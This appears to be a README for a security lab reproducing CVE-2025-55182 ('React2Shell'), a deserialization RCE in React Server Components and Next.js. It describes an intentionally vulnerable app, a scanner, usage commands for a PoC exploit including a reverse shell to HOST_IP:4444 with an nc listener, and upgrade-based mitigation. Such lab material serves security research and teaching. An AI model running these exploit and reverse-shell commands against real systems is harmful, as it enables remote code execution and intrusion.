CVE-2025-55182 (React2Shell) Vulnerability Analysis Lab

This repository contains a complete environment for analyzing and reproducing CVE-2025-55182, a critical Remote Code Execution (RCE) vulnerability in React Server Components (RSC) affecting React 19.x and Next.js 15.x.

⚠️ WARNING: This project intentionally contains vulnerable code. DO NOT deploy this to a public server or production environment.

🔍 Vulnerability Overview

• CVE ID: CVE-2025-55182
• Alias: React2Shell
• CVSS Score: 10.0 (CRITICAL)
• Vulnerability Type: CWE-502 (Deserialization of Untrusted Data)
• Affected Components:
  • React Server Components (19.0.0 - 19.2.0)
  • Next.js (15.0.0 - 16.0.7)
  • react-server-dom-webpack, react-server-dom-turbopack

Mechanism

The vulnerability exists in how the React Server Components runtime processes serialized data from HTTP requests (Server Actions). An attacker can craft a malicious "Flight" protocol payload that, when deserialized by the server, executes arbitrary code before authentication checks occur.

📂 Project Structure

react2shell/
├── vulnerable-app/       # Vulnerable Next.js 15 application
│   ├── app/
│   │   ├── actions.ts    # Vulnerable Server Actions
│   │   └── page.tsx      # UI for testing vulnerability
│   ├── Dockerfile        # Container definition
│   └── package.json
├── exploit/              # Exploit tools
│   ├── exploit.py        # Python PoC exploit
│   ├── scanner.py        # Vulnerability scanner
│   └── quick_exploit.sh  # Simple bash exploit
├── docs/                 # Analysis documentation
└── docker-compose.yml    # Isolated lab environment

🚀 Getting Started

Prerequisites

• Docker & Docker Compose
• Python 3.x (for running exploits locally)

1. Start the Lab Environment

Run the vulnerable application in an isolated container:

docker-compose up -d --build

The application will be available at http://localhost:3000.

2. Verify the Application

Visit http://localhost:3000 in your browser. You should see the "React2Shell Lab" interface with several testing panels:

• Command Execution: Test direct command injection
• Unsafe Deserialization: Test JSON-based deserialization exploits
• Arbitrary File Read: Test path traversal
• System Info: View system details (to verify RCE impact)

⚔️ Exploitation

We provide several tools to test the vulnerability.

Using the Python Exploit

1. Install requirements:

   root@kitploit:~

   pip install -r exploit/requirements.txt
   

2. Check if vulnerable:

   root@kitploit:~

   python3 exploit/exploit.py -u http://localhost:3000 --check
   

3. Execute a command:

   root@kitploit:~

   python3 exploit/exploit.py -u http://localhost:3000 -c "id"
   

4. Reverse Shell (requires a listener, e.g., nc -lvnp 4444):

   root@kitploit:~

   python3 exploit/exploit.py -u http://localhost:3000 --revshell -l HOST_IP -p 4444
   

Using the Scanner

Scan for vulnerable React/Next.js instances:

python3 exploit/scanner.py -u http://localhost:3000

🛡️ Mitigation

To fix this vulnerability in your own applications:

1. Upgrade Dependencies:

   • Upgrade React to version 19.3.0 or later.
   • Upgrade Next.js to version 15.0.5, 15.1.9, or 16.0.8 depending on your branch.

2. Verify Patch: Check package.json to ensure react-server-dom-* packages are updated.

📝 Disclaimer

This project is for educational purposes and security research only. The authors take no responsibility for the misuse of this material.